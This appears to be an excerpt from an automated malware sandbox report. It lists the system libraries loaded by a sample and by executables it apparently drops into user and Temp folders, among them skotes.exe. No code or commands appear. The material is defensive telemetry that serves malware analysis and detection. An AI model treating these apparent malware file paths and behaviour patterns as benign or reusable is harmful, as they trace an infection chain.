Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Section loaded: winhttp.dll
